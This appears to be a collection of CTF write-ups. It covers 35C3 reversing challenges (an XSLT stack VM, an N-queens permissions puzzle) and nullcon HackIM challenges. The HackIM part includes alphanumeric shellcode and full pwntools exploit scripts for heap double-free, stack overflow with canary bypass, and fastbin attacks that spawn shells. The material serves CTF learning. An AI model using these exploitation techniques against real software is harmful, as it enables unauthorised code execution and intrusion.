```xml<meal> <course> <plate>?</plate> <plate>?</plate> ... </course> <course>...</course> ... <state> <drinks> ? </drinks> </state></meal>```
Now we can move onto `consume-meal`. Its first lines declare the parameters we already know about – `chef-drinks`, `food-eaten`, `course`, and `drinks`. Then there are two assertions:
```xml<xsl:if test="$food-eaten > 30000"> <xsl:message terminate="yes">You ate too much and died</xsl:message></xsl:if><xsl:if test="count($drinks) > 200"> <xsl:message terminate="yes">You cannot drink that much</xsl:message></xsl:if>```
Both of these seem to be fatal errors. Since `food-eaten` was initialised at `1`, the first assertion would only make sense if `consume-meal` was called multiple times. And indeed, if we scroll a bit further, we will find that `consume-meal` is called again from within itself, i.e. it is recursive. At each step, it increases `food-eaten` by one. In other words, `food-eaten` is a step counter that cannot go above 30000.
By similar logic, `drinks` must be modified within `consume-meal`, otherwise this assertion could have been made before the initial call. Whatever `drinks` are, we cannot have more than 200 of them.
Finally, we move on to the core of the XSLT. If we have any elements in `$course`, we initialise a couple of variables:
```xml<xsl:if test="count($course) > 0"> <xsl:variable name="c" select="$course[1]"/> <xsl:variable name="r" select="$course[position()>1]"/> <xsl:choose> ... </xsl:choose></xsl:if>```
`c` will refer to the first element of `$course` (since in XML land lists are 1-indexed), and `r` will refer to the remaining elements. Note at this point that `$course` does NOT refer to our `<course>` elements. Recall that `consume-meal` was invoked with `<xsl:with-param name="course" select="course[position() = 1]/plate"/>`, so `$course` will contain the `<plate>` elements of our first `<course>` (on the first iteration).
So with an input like:
```xml<meal> <course> <plate><foo/></plate> <plate><bar/></plate> <plate><baz/></plate> </course> ...</meal>```
During the first call to `consume-meal`, `$c` will be `<plate><foo/></plate>`, and `$r` will be the list of `<plate><bar/></plate>` and `<plate><baz/></plate>`.
After `$c` and `$r` are initialised, there is a large `<xsl:choose>` block, equivalent to a `switch` statement in conventional programming languages. The `<xsl:choose>` element checks to see what is "in" our plates, i.e. what elements are contained in our `<plate>` element. Let us have a look at one of these choices:
```xml<xsl:when test="count($c/paella) = 1"> <xsl:variable name="newdrinks"> <value> <xsl:value-of select="$c/paella + 0"/> </value> <xsl:copy-of select="$drinks"/> </xsl:variable> <xsl:call-template name="consume-meal"> <xsl:with-param name="chef-drinks" select="$chef-drinks"/> <xsl:with-param name="food-eaten" select="$food-eaten + 1"/> <xsl:with-param name="course" select="$r"/> <xsl:with-param name="drinks" select="exsl:node-set($newdrinks)//value"/> </xsl:call-template></xsl:when>```
In other words, if our `<plate>` contained a `<paella>` element, we will invoke `consume-meal` again with slightly modified parameters:
- `chef-drinks` - `chef-drinks` (the 5 random numbers) remain the same - `food-eaten` - increased by one - `course` - `$r`, i.e. the remaining plates of this `<course>` - `drinks` - `$newdrinks`, created just above, consisting of some value (contained within our `<paella>` element) prepended to the original `$drinks`
By this point it should be pretty clear that this XSLT is in fact a virtual machine! Each `<plate>` will contain an instruction which will modify the state and pass that state onto the next invocation of `consume-meal`. The `<course>` elements are blocks of instructions, in essence behaving like labels. `drinks` are in fact our stack. With a `<paella>` instruction we can push an immediate value to our stack. We can analyse all the instructions one by one:
- `宫保鸡丁` - debug command, prints `chef-drinks` as well as `drinks` - `paella` - push immediate value to stack - `불고기` - duplicate a given element of the stack and push it - `Борщ` - pop top element of `chef-drinks` if it matches top of `drinks` - `दाल` - print the flag if no `chef-drinks` remain - `ラーメン` - push 1 if top of `drinks` is greater than top of `chef-drinks`, 0 otherwise - `stroopwafels` - push 1 if 2nd value in `drinks` is greater than top value in `drinks` - `köttbullar` - move a given element from `drinks` to the top - `γύρος` - remove a given element from `drinks` - `rösti` - add top elements of `drinks` - `לאַטקעס` - subtract top elements of `drinks` - `poutine` - multiply top elements of `drinks` - `حُمُّص` - integer divide top elements of `drinks` - `æblegrød` - jump to a given `<course>` if top of `drinks` is not 0
A limited instruction set, but Turing-complete nonetheless. Of particular note is `दाल` - prints the flag if (and only if) there are no more `chef-drinks`. In fact the 5 random numbers generated at the beginning form an additional stack, one that we cannot directly manipulate. The debug command `宫保鸡丁` prints out the values of `chef-drinks` (as well as our `drinks`), but this is indeed only useful for debugging – each time we run our XML on the server, the numbers are different, and we have no way to send what we saw from the debug command back to the XML file we submitted.
So our XML needs to run instructions that will guess the `chef-drinks` (using `Борщ`) one by one, without seeing their values. The only other instruction dealing with `chef-drinks` is `ラーメン`, which compares the top of our stack `drinks` with the top of the challenge stack `chef-drinks`.
In other words, we need to implement a binary search. We can adapt the pseudo-code for [binary search from Rosetta code](http://rosettacode.org/wiki/Binary_search):
BinarySearch(A[0..N-1], value) { low = 0 high = N - 1 while (low <= high) { // invariants: value > A[i] for all i < low value < A[i] for all i > high mid = (low + high) / 2 if (A[mid] > value) high = mid - 1 else if (A[mid] < value) low = mid + 1 else return mid } return not_found // value would be inserted at index "low" }
Since we only have `>`, the code we will implement is:
high = 0x100000000; low = 0; while (high > low) { var mid = (low + high) >> 1; // integer divide by two if (mid + 1 > number) { high = mid; } else { low = mid + 1; } }
During the CTF, I chose to implement a simple assembler. I was particularly worried about Unicode messing up my instructions (RTL marks, non-canonical ordering, bad copypaste), but of course labels and a minimum of type safety was a plus. Debugging wasn't particularly easy with the remote server, so at some point I also implemented an emulator to test my code.
[Full assembler/emulator script here](scripts/Juggle.hx)
```bash$ haxe -D EMULATE --run Juggleins(0): PUSHI(0); stack: 0ins(1): PUSHI(8388608); stack: 8388608,0ins(2): PUSHI(1); stack: 1,8388608,0ins(3): PUSHI(1); stack: 1,1,8388608,0ins(4): JMP; stack: 8388608,0ins(0): PUSHI(2); stack: 2,8388608,0ins(1): PUSHI(1); stack: 1,2,8388608,0ins(2): DUPN; stack: 8388608,2,8388608,0ins(3): PUSHI(3); stack: 3,8388608,2,8388608,0ins(4): DUPN; stack: 0,8388608,2,8388608,0...... etc etc...ins(0): PUSHI(0); stack: 0,6830991,6830991ins(1): DROP; stack: 6830991ins(2): CHECK; checking 6830991 against 6830991 ... OK!stack: ins(3): END; flag!```
The submission generated is available [here](scripts/sol.xml). After running it on the server, we get the flag:
`35C3_The_chef_gives_you_his_compliments`
## 215 rev / notifico ##
**Description**
> veni, vidi, notifici> > Notes: - only chmod, no touch - no root user, please - tar --no-same-owner -xhzf chall.tar.gz> > [Challenge files](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/notifico-b568d7b9b60a42e7e06471e2f9cb0883.tar.gz)> > **HINT**: The graph is a move graph for a certain type of chess piece.
**Files provided**
- [notifico.tar.gz](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/notifico-b568d7b9b60a42e7e06471e2f9cb0883.tar.gz)
**Solution**
In the `tar` archive, we see three files:
- `chall.tar` - another archive containing 225 directories with some 40-50 files each, although all but one in each directory are symlinks - `check.py` - flag decryption script invoking `check` in the process - `check` - ELF executable to verify a given directory
The first step was to look into `check.py`. The important bit was:
```pythonVAL = 15
# ...
res = subprocess.call(["./check", basedir])
if res == 255 or res != VAL: print("This looks no good...") exit(-1)else: print("A worthy try, let's see if it yields something readable...")```
So whatever directory we give it as our "solution", it will invoke the `check` executable on it. `check` in turn must return `VAL`, i.e. `15` for the solution to be considered valid. The SHA-256 hash of the UNIX permissions of the files in our solution directory is then used to decrypt a flag encrypted using AES. Given that there are `225` "regular" files and hundreds of symlinks in the `chall.tar` archive which forms the template for our solution, brute-force is infeasible.
The hint given in the challenge description spoils what `chall.tar` is completely, so much so that I am surprised this challenge didn't have many more solutions after the hint was released. We can gain a similar understanding of `chall.tar` from how the `check` executable works and the general structure of the archive.
Using IDA Pro we can find that `check` does roughly the following:
- sets up `inotify` watchers on all regular (non-symlink) files in each of the `225` directories - try to `fopen` each of the `225` regular files in read/write mode, then `fclose` - set `result` to `0` - handle all triggered `inotify` events: - increment `result` by `1` - for each `IN_CLOSE_WRITE` event (i.e. file closed after write access), try to `execve` all the symlinks in the just-closed file's directory - exit with exit code `result`
Note that `execve` will only succeed when the file referenced by the symlink can be executed; if `execve` succeeds, the program will crash, because there are no valid executables in the `chall.tar` directory (each regular file is only 1 byte long).
In other words, `check` counts the regular files it can open whose "neighbours" (i.e. files referenced by the symlink it that file's directory) are not executable.
One more extremely important hint: the number of directories in `chall.tar` is `225`, which is `15 * 15`, a perfect square. `VAL` is also `15`.
We can also count how many files there are in each of the `225` directories. If we simply extract the archive and go through the directories in alphabetical order, the result is rather chaotic. However, the directories are contained in `chall.tar` in a particular order. We can see this with:
```bash$ tar -tvf chall.tardrwxr-xr-x 0 notifico notifico 0 Dec 22 14:06 chall/drwxr-xr-x 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/lrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/clxAKWStzqRKyxql -> ../eAvSLhONEWpXqnwu/JHFulfjgaQGnmOPxlrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/OfTFUEFIyGMZMoan -> ../HdWkyeWugdUHdzuU/rUXgDUpTytwSoWonlrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/drwKLoWvVcjNdMiX -> ../zoPhogrElBntiQUN/ThQhbYJgbiSZbykblrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/zvXOjUgOepbQeCoe -> ../ISOYfrwvVOMZveHE/jroOyZVjiUCJCHgf.........lrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/fXWIMMRZvMSweIId/GIlMJUgUbXbYmdSE -> ../pNuhEkCjuZfTZWvi/JFhCuAbdlsMRpcNolrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/fXWIMMRZvMSweIId/KdDQXPXYBqQARKQc -> ../QdyTwLeNTUDvXTFI/DJLuDDWviVrYegVMlrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/fXWIMMRZvMSweIId/MCOiuhLUCuCoPZvn -> ../vruPGIPvYbkWqNzX/MHinNnRcKtLLeEXVlrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/fXWIMMRZvMSweIId/ufIYqBqbfCgGIspR -> ../vqPxvKvBQGHntyiv/aYPWRwJUyOyHRILd-r-------- 0 notifico notifico 1 Dec 22 14:06 chall/fXWIMMRZvMSweIId/KYtdUumqvnfClEMF```
If we count the symlinks in the directories in this order and arrange them in a `15 * 15` square, we get a very neat result:
42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42 42, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 42 42, 44, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 44, 42 42, 44, 46, 48, 48, 48, 48, 48, 48, 48, 48, 48, 46, 44, 42 42, 44, 46, 48, 50, 50, 50, 50, 50, 50, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 52, 52, 52, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 54, 54, 54, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 54, 56, 54, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 54, 54, 54, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 52, 52, 52, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 50, 50, 50, 50, 50, 50, 48, 46, 44, 42 42, 44, 46, 48, 48, 48, 48, 48, 48, 48, 48, 48, 46, 44, 42 42, 44, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 44, 42 42, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 42 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42
It is symmetric and there are more symlinks in the "central" directories.
Maybe you can see where all of this (+ the explicit hint) is leading to. Chess! More specifically, a chess puzzle, the [N queens problem](https://en.wikipedia.org/wiki/Eight_queens_puzzle). The famous eight queens puzzle is a chess puzzle where the goal is to arrange `8` queens on a regular (`8 * 8`) chessboard without any of them being able to see one another (queens can move and see horizontally, vertically, and diagonally). In this case we have a `15` queens puzzle.
Consider for example the top-left directory in the table above. It has `42` symlinks:
Q, X, X, X, X, X, X, X, X, X, X, X, X, X, X X, X, ., ., ., ., ., ., ., ., ., ., ., ., . X, ., X, ., ., ., ., ., ., ., ., ., ., ., . X, ., ., X, ., ., ., ., ., ., ., ., ., ., . X, ., ., ., X, ., ., ., ., ., ., ., ., ., . X, ., ., ., ., X, ., ., ., ., ., ., ., ., . X, ., ., ., ., ., X, ., ., ., ., ., ., ., . X, ., ., ., ., ., ., X, ., ., ., ., ., ., . X, ., ., ., ., ., ., ., X, ., ., ., ., ., . X, ., ., ., ., ., ., ., ., X, ., ., ., ., . X, ., ., ., ., ., ., ., ., ., X, ., ., ., . X, ., ., ., ., ., ., ., ., ., ., X, ., ., . X, ., ., ., ., ., ., ., ., ., ., ., X, ., . X, ., ., ., ., ., ., ., ., ., ., ., ., X, . X, ., ., ., ., ., ., ., ., ., ., ., ., ., X
Count the squares that the queen (`Q`) can see (`X`) and there are 42 of them. In fact, each of those `X`'s in the actual `chall.tar` is a symlink to that particular directory.
Unfortunately, there are thousands of solutions to the 15 queens problem. Fortunately, we can generate them systematically with a script and hence decrypt the flag. Once again, we can adapt a program from [Rosetta Code](http://rosettacode.org/wiki/N-queens_problem).
[Adapted C program here](scripts/queens.c)
We let this C program generate all the solutions to the problem and have a Python script change each solution to a list of UNIX permissions in the order the original `check.py` script used (it sorted the directories alphabetically), SHA-256 hash it, and try to decrypt the flag.
[Python decoder here](scripts/queens.py)
(As per the challenge description, each "queen" would be marked by a regular file with `700` permissions, each non-queen would remain at `400` permissions, as provided in the `chall.tar` template.)
`35C3_congr4ts_th0se_were_s0m3_truly_w3ll_pl4c3d_perm1ssions_Sir_` |
An unintended solution: The challenge binary `jsc` was built as a debug binary, where the only modification was in the provided ArrayPrototype.cpp file.
So within the executable is all of the debug function available here, including `readFile`: https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/jsc.cpp#L517
Very conveniently, `readFile` can thus be called from the JS shell and give the flag.
 |
## easy-shell
The logic is simple, a `RWX` page is allocated from `mmap`, and we can execute arbitrary codes but contents must be `alphanum`. I used this [tool](https://github.com/veritas501/basic-amd64-alphanumeric-shellcode-encoder). However, the only problem is that this generator requires `rax` to be near the `shellcode` and `rax + padding_len == shellcode address`, but `rax` is `0` when our `shellcode` is executed. Thus, we can add `push r12; pop rax` in front of our payload and let `padding_len == 3`, which is the length of `push r12; pop rax`.
```pythonfrom pwn import *context(arch='amd64')
file_name = "flag".ljust(8, '\x00')
sc = '''mov rax,%spush raxmov rdi,rspmov rax,2mov rsi,0syscall
mov rdi,raxsub rsp,0x20mov rsi,rspmov rdx,0x20mov rax,0syscall
mov rdi,0mov rsi,rspmov rdx,0x20mov rax,1syscall
''' % hex(u64(file_name))sc = asm(sc)print asm("push r12;pop rax;") + alphanum_encoder(sc, 3)```
Actually, by the way, `peasy-shell` can be done in the same way: just add more `push xxx; pop xxx;` to fill first page, and fill the second page with real payload being generated, which is `RWX`.
## HackIM Shop
A typical UAF and double free challenge. Firstly leak the address in `got` table to leak `libc` and find its version in `libc-database`, which is `2.27`, the same one in `Ubuntu 18.04 LTS`. This can be done by UAF and control the `pointer` field in the `struct`.
Then, since it is `2.27`, the `tcache` is used instead, so we can use `double free` to poison the `tcache` and `malloc` the chunk onto `__free_hook`, then rewrite it to `system` to get the shell.
`exp.py`
```pythonfrom pwn import *import jsong_local=Truecontext.log_level='debug'p = ELF('./challenge')e = ELF("./libc6_2.27.so")if g_local: sh = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'} ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 gdb.attach(sh)else: ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 sh = remote("pwn.ctf.nullcon.net", 4002) #ONE_GADGET_OFF = 0x4557a
def add(name, name_len, price=0): sh.sendline("1") sh.recvuntil("name length: ") sh.sendline(str(name_len)) sh.recvuntil("name: ") sh.sendline(name) sh.recvuntil("price: ") sh.sendline(str(price)) sh.recvuntil("> ")
def remove(idx): sh.sendline("2") sh.recvuntil("index: ") sh.sendline(str(idx)) sh.recvuntil("> ")
def view(): sh.sendline("3") ret = sh.recvuntil("{") ret += sh.recvuntil("[") ret += sh.recvuntil("]") ret += sh.recvuntil("}") sh.recvuntil("> ") return ret
add("0", 0x38)add("1", 0x68)add("2", 0x68)remove(0)remove(1)#0x40 1 -> 0 -> 0 data
fake_struct = p64(0)fake_struct += p64(p.got["puts"])fake_struct += p64(0) + p8(0)
add(fake_struct, 0x38) #3leak = view()libc_addr = u64(leak[0x2e:0x2e+6] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
add("4", 0x68)
#now bins are clear
add("5", 0x68)add("/bin/sh\x00", 0x68) #6add("/bin/sh\x00", 0x38)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)
remove(5)remove(5)remove(7) #prevent 0x40 from being used up
add(p64(libc_addr + e.symbols["__free_hook"]), 0x68)
add("consume", 0x68)
gots = ["system"]
fake_got = ""for g in gots: fake_got += p64(libc_addr + e.symbols[g])add(fake_got, 0x68)
sh.sendline("2")
sh.recvuntil("index: ")sh.sendline(str(6))sh.interactive()```
## babypwn
This challenge *seems* to be a format once string vulnerability, but there is nothing exploitable. The only address we have without leak is the program address `0x400000`, but there is nothing writable(neither `got table` nor `_fini_array`). The only possible write are `stdin` and `stdout`, but they will not be used before the program exits so it is useless to hijack their virtual tables.
Then I found another exploitable vulnerability
```cif ( (char)uint8 > 20 ){ perror("Coins that many are not supported :/\r\n"); exit(1);}for ( i = 0; i < uint8; ++i ){ v6 = &v10[4 * i]; _isoc99_scanf((__int64)"%d", (__int64)v6);}```
The check regard variable `uint8` as an `signed char` but it will be used as `unsigned char` later, so the value `> 0x7f` will pass the check and cause the stack overflow.
However, there is canary so we need to bypass this, but we cannot leak it since vulnerable `printf` is after this stack overflow. The key thing is there is no check against the return value of `scanf`, so we can let `scanf` to have some error so that `&v10[4 * i]` will not be rewritten and canary will remain unchanged. Then after we jump over the canary we can rewrite the return address and construct ROP chain. But how to make it have error? Initially I tried `"a"(any letter)`, but this fails, because even if the `scanf` returns with error in this iteration, it will also return directly with error later on without receiving any input so we cannot rewrite return address. It seems that the reason is that `"a"` does not comply the format `"%d"` so it will never be consumed by this `scanf("%d")`. So can we input something that satisfy format `"%d"` but still cause the error? I then came up with `"-"`, because `"%d"` allows negative number so the negative sign should be fine, but a single negative sign does not make any sense as a number so it will cause error. Then it works!
Finally the things became easy, just regard this as a normal stack overflow challenge, and I did not use that format string vulnerability
By the way, the `libc` version can be found by using format string vulnerability to leak address in `got` table, and search it in the `libc-database`
```pythonfrom pwn import *import jsong_local=Truecontext.log_level='debug'p = ELF('./challenge')e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")ONE_GADGET_OFF = 0x4526aif g_local: sh = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'} gdb.attach(sh)else: sh = remote("pwn.ctf.nullcon.net", 4001)
POP_RDI = p64(0x400a43)def exploit_main(rop): sh.recvuntil("tressure box?\r\n") sh.sendline('y') sh.recvuntil("name: ") sh.sendline("2019") sh.recvuntil("do you have?\r\n") sh.sendline("128")
for i in xrange(0,22): sh.sendline(str(i)) for i in xrange(2): sh.sendline('-') #bypass canary sleep(1) for i in xrange(0,len(rop),4): sh.sendline(str(u32(rop[i:i+4]))) for i in xrange(0,128-22-2-len(rop)/4): sh.sendline("0") sh.recvuntil("created!\r\n")
rop = ""rop += p64(0)rop += POP_RDIrop += p64(p.got["puts"])rop += p64(p.plt["puts"])rop += p64(0x400806) #back to main
exploit_main(rop)
libc_addr = u64(sh.recvuntil('\x7f') + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
exploit_main(p64(0) + p64(libc_addr + ONE_GADGET_OFF))
sh.interactive()```
## tudutudututu
The program can create a `todo`, set the `description`, delete and print.
The `todo` structure is as shown below
```assembly00000000 todo struc ; (sizeof=0x10, align=0x8, mappedto_6)00000000 topic dq ? ; offset00000008 description dq ? ; offset00000010 todo ends```
The problem is, when creating the `todo` structure, the `description` field is not initialized. This can create UAF and arbitrary read.
Firstly since there is no PIE, we use arbitrary read to leak the address in `got` table, here we can also find the `libc` version, which is `2.23`.
Then, because `topic` is freed before `description`, the `description` is on the top of `topic` in the fast bin if they have same size. In this way if we allocate `todo` again, the UAF caused by no initialization of `description` field can give us heap address.
Then control the `description` field to point to a already freed `0x70` chunk, then set the description to cause double free, which poisons the fast bin and enable the fast bin attack. We can use `0x7f` trick to `malloc` a chunk onto `__malloc_hook`, and hijack the `rip` to `one_gadget`. Since buffer on the stack used to get input is quite large and we can easily set them to `0`, the condition of `one_gadget` can be easily satisfied.
```pythonfrom pwn import *import jsong_local=Truecontext.log_level='debug'p = ELF('./challenge')e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")ONE_GADGET_OFF = 0xf1147if g_local: sh = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'} gdb.attach(sh)else: sh = remote("pwn.ctf.nullcon.net", 4003)
sh.recvuntil("> ")
def create(topic): sh.sendline("1") sh.recvuntil("topic: ") sh.sendline(topic) sh.recvuntil("> ")
def set_data(topic, data, data_len): sh.sendline("2") sh.recvuntil("topic: ") sh.sendline(topic) sh.recvuntil("length: ") sh.sendline(str(data_len)) sh.recvuntil("Desc: ") sh.sendline(data) sh.recvuntil("> ")
def delete(topic): sh.sendline("3") sh.recvuntil("topic: ") sh.sendline(topic) sh.recvuntil("> ")
def show(topic): sh.sendline("4") sh.recvuntil(topic + " - ") ret = sh.recvuntil('\n') sh.recvuntil("> ") return ret[:-1]payload = 'A' * 8 + p64(p.got["puts"])create(payload)delete(payload)#now 0x20 * 2
unitialzed_todo = "unitialized data".ljust(0x30, '_')create("consume 0x20".ljust(0x30, '_'))create(unitialzed_todo)libc_addr = u64(show(unitialzed_todo)[:6] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
#bins empty
leak_todo = "leak".ljust(0x60, '_')create(leak_todo)set_data(leak_todo, 'A', 0x60)delete(leak_todo)create("leak")
heap_addr = u64(show("leak").ljust(8, '\x00')) - 0x10f0print hex(heap_addr)
#now 0x70 *2
for i in xrange(3): create("tmp".ljust(0x60, str(i)))for i in [1,0,2]: delete("tmp".ljust(0x60, str(i)))
#now 0x20 * 3 + 0x70 * 3
payload = 'A' * 8 + p64(heap_addr + 0x1170)
create(payload)delete(payload)
unitialzed_todo = "unitialized data 2".ljust(0x30, '_')create("consume 0x20".ljust(0x30, '_'))create(unitialzed_todo)
set_data(unitialzed_todo, 'A', 0x10)# now 0x70 are poisoned and all others are empty
for i in xrange(4): create("getshell" + str(i))
set_data("getshell0", p64(libc_addr + e.symbols["__malloc_hook"] - 0x23), 0x60)set_data("getshell1", 'a', 0x60)set_data("getshell2", 'b', 0x60)set_data("getshell3".ljust(0x100, '\x00'), '\x00' * 0x13 + p64(libc_addr + ONE_GADGET_OFF), 0x60)
sh.sendline("1")sh.recvuntil("topic: ")sh.sendline("123")
sh.interactive()```
## rev3al
### Initialization of VM
This is a VM reverse challenge, which is a bit complicated but not very hard; it is solvable if enough time was spent.
```ctext = (unsigned int *)mmap(0LL, 0xA00uLL, 3, 34, 0, 0LL);if ( text != (unsigned int *)-1LL ){ mem = (unsigned __int8 *)mmap(0LL, 0x100uLL, 3, 34, 0, 0LL); if ( mem != (unsigned __int8 *)-1LL ) { jmp_tab = (unsigned int *)mmap(0LL, 0x100uLL, 3, 34, 0, 0LL); if ( text != (unsigned int *)-1LL ) {//...```
Initially, 3 pages are allocated by `mmap`.
Then input is obtained by `cin`
```cinput.ptr = input.data;input.size = 0LL;input.data[0] = 0;std::operator<<<std::char_traits<char>>(&std::cout, "Go for it:\n");std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &input);if ( input.size - 1 > 0xD ) // <= 0xe == 14 exit(1);```
While the definition of `std::string` in `x86-64 Linux` is
```assembly00000000 std::string struc ; (sizeof=0x20, align=0x8, mappedto_10)00000000 ptr dq ? ; XREF: main+BC/w00000008 size dq ? ; XREF: main+C0/w00000010 data db 16 dup(?) ; XREF: main+B8/o00000020 std::string ends```
Since the length here is not longer than 16 bytes (<= 14), the last 16 bytes are always `char array` instead of pointer to heap.
Then `mem` and `jmp_tab` are initialized to 0 in weird but fast way, which are not important. Then input is copied to `mem+200`, and virtual registers of the VM is initialized to 0. (I actually found them to be registers later when I was analyzing the VM)
```cqmemcpy(mem + 200, input.ptr, 14uLL); // input size == 14i = 5;do{ a2a = 0; vector::push_back(®s, &a2a); --i;}while ( i );```
The `regs` are `std::vector`, and each element is `uint8_t`. I found it to be `std::vector` and the function to be `push_back` by debugging and guessing. (It is quite unreasonable to reverse the STL lib function)
The definition of `std::vector<uint8_t>` is as shown
```assembly00000000 std::vector struc ; (sizeof=0x18, mappedto_11)00000000 ptr dq ? ; XREF: main:loc_1EF3/r00000008 end dq ? ; XREF: main+277/w ; offset00000010 real_end dq ? ; offset00000018 std::vector ends```
Then it is the codes to initialize and run the VM.
```cregs.ptr[3] = 0;tmp.ptr = tmp.data;std::string::assign(&tmp, chal1.ptr, &chal1.ptr[chal1.size]);vm_init(&tmp);if ( tmp.ptr != tmp.data ) operator delete(tmp.ptr);vm_run();```
`tmp` is also `std::string`, and `std::string::assign` assign the value of `chal1` to `tmp`. Where is `chal1` defined? By using cross reference in IDA, we found that it is initialized in function `0x2042`, which is declared in `_init_array` and will be called before `main` function. Except some basic C++ initialization stuff, it also assign `"chal.o.1"` to `chal1` and assign `"chal.o.2"` to `chal2`, which are obviously the file names of files being provided.
Back to the `main` function. In function `vm_init`, it simply loads the file into `text` memory page. There are many C++ stuff in this function and they are hard to read, but luckily they are not important so we do not need to focus on them.
```c++std::istream::read(&v5, (char *)text, v2); // critical step```
The logic that cause the correct information to be outputted is easy: after running first VM `mem[1]` must be true, and after running second VM `mem[2]` must be true. Even if it can also be the case that `mem[2]` becomes true and `mem[1]` remains 0 after the first VM, this is not very possible I guess, otherwise the file `"chal.o.2"` will be useless.
### VM Analysis
The `vm_run` function is as shown
```cvoid __cdecl vm_run(){ unsigned int *t; // rbx unsigned int j; // ecx unsigned int i; // eax
t = text; j = 0; i = 0; do { if ( (HIWORD(text[i]) & 0xF) == 0xC ) // high word of each instruction jmp_tab[j++] = i; // record the index of instruction to jmp tab ++i; } while ( i <= 0x3F && j <= 0x3F ); bContiue = 1; do one_instr(t[regs.ptr[3]]); while ( bContiue );}
void __fastcall one_instr(unsigned int instr){ unsigned int high_word; // eax unsigned __int8 dst; // dl unsigned int src; // edi unsigned __int8 *v4; // rdx unsigned __int8 v5; // al unsigned __int8 v6; // cl unsigned __int8 *v7; // rax
high_word = (instr >> 0x10) & 0xF; dst = instr & 3; src = (instr >> 2) & 3; if ( dst == 3 ) dst = 2; if ( (_BYTE)src == 3 ) LOBYTE(src) = 2; switch ( (_BYTE)high_word ) { case 0: bContiue = 0; break; case 1: if ( regs.ptr[4] ) regs.ptr[dst] = mem[regs.ptr[(unsigned __int8)src]] + mem[regs.ptr[dst]]; else regs.ptr[dst] += regs.ptr[(unsigned __int8)src]; ++regs.ptr[3]; break; case 2: if ( regs.ptr[4] ) regs.ptr[dst] = mem[regs.ptr[dst]] - mem[regs.ptr[(unsigned __int8)src]]; else regs.ptr[dst] -= regs.ptr[(unsigned __int8)src]; ++regs.ptr[3]; break; case 3: if ( regs.ptr[4] ) regs.ptr[dst] = mem[regs.ptr[dst]] * mem[regs.ptr[(unsigned __int8)src]]; else regs.ptr[dst] *= regs.ptr[(unsigned __int8)src]; ++regs.ptr[3]; break; case 4: if ( regs.ptr[4] ) { v4 = ®s.ptr[dst]; v5 = mem[*v4] / mem[regs.ptr[(unsigned __int8)src]]; } else { v4 = ®s.ptr[dst]; v5 = *v4 / regs.ptr[(unsigned __int8)src]; } *v4 = v5; ++regs.ptr[3]; break; case 5: if ( regs.ptr[4] ) v6 = mem[regs.ptr[(unsigned __int8)src]]; else v6 = regs.ptr[(unsigned __int8)src]; regs.ptr[dst] = v6; ++regs.ptr[3]; break; case 6: if ( regs.ptr[4] ) mem[regs.ptr[dst]] = mem[regs.ptr[(unsigned __int8)src]]; else mem[regs.ptr[dst]] = regs.ptr[(unsigned __int8)src]; ++regs.ptr[3]; break; case 7: regs.ptr[3] = regs.ptr[dst]; break; case 8: regs.ptr[4] = (regs.ptr[4] ^ 1) & 1; ++regs.ptr[3]; break; case 9: if ( regs.ptr[dst] ) { ++regs.ptr[3]; } else if ( regs.ptr[4] ) { regs.ptr[3] += regs.ptr[(unsigned __int8)src]; } else { regs.ptr[3] = regs.ptr[(unsigned __int8)src]; } break; case 10: regs.ptr[dst] = src; ++regs.ptr[3]; break; case 11: if ( regs.ptr[4] ) { v7 = &mem[regs.ptr[dst]]; ++*v7; } else { ++regs.ptr[dst]; } ++regs.ptr[3]; break; case 12: ++regs.ptr[3]; break; default: std::operator<<<std::char_traits<char>>(&std::cerr, "Invalid instruction!\n"); exit(1); return; }}```
Each instruction is 4-bytes; there are 4 registers that can be directly accessed by the VM program; the opcode is 4 bits; `r4` controls a "mode", and some instructions will perform differently when the `r4` is different.
Then it takes some time to write a [disassembler](disasm.py), and after then we can disassemble these 2 files to further analyze.
### VM Program Analysis
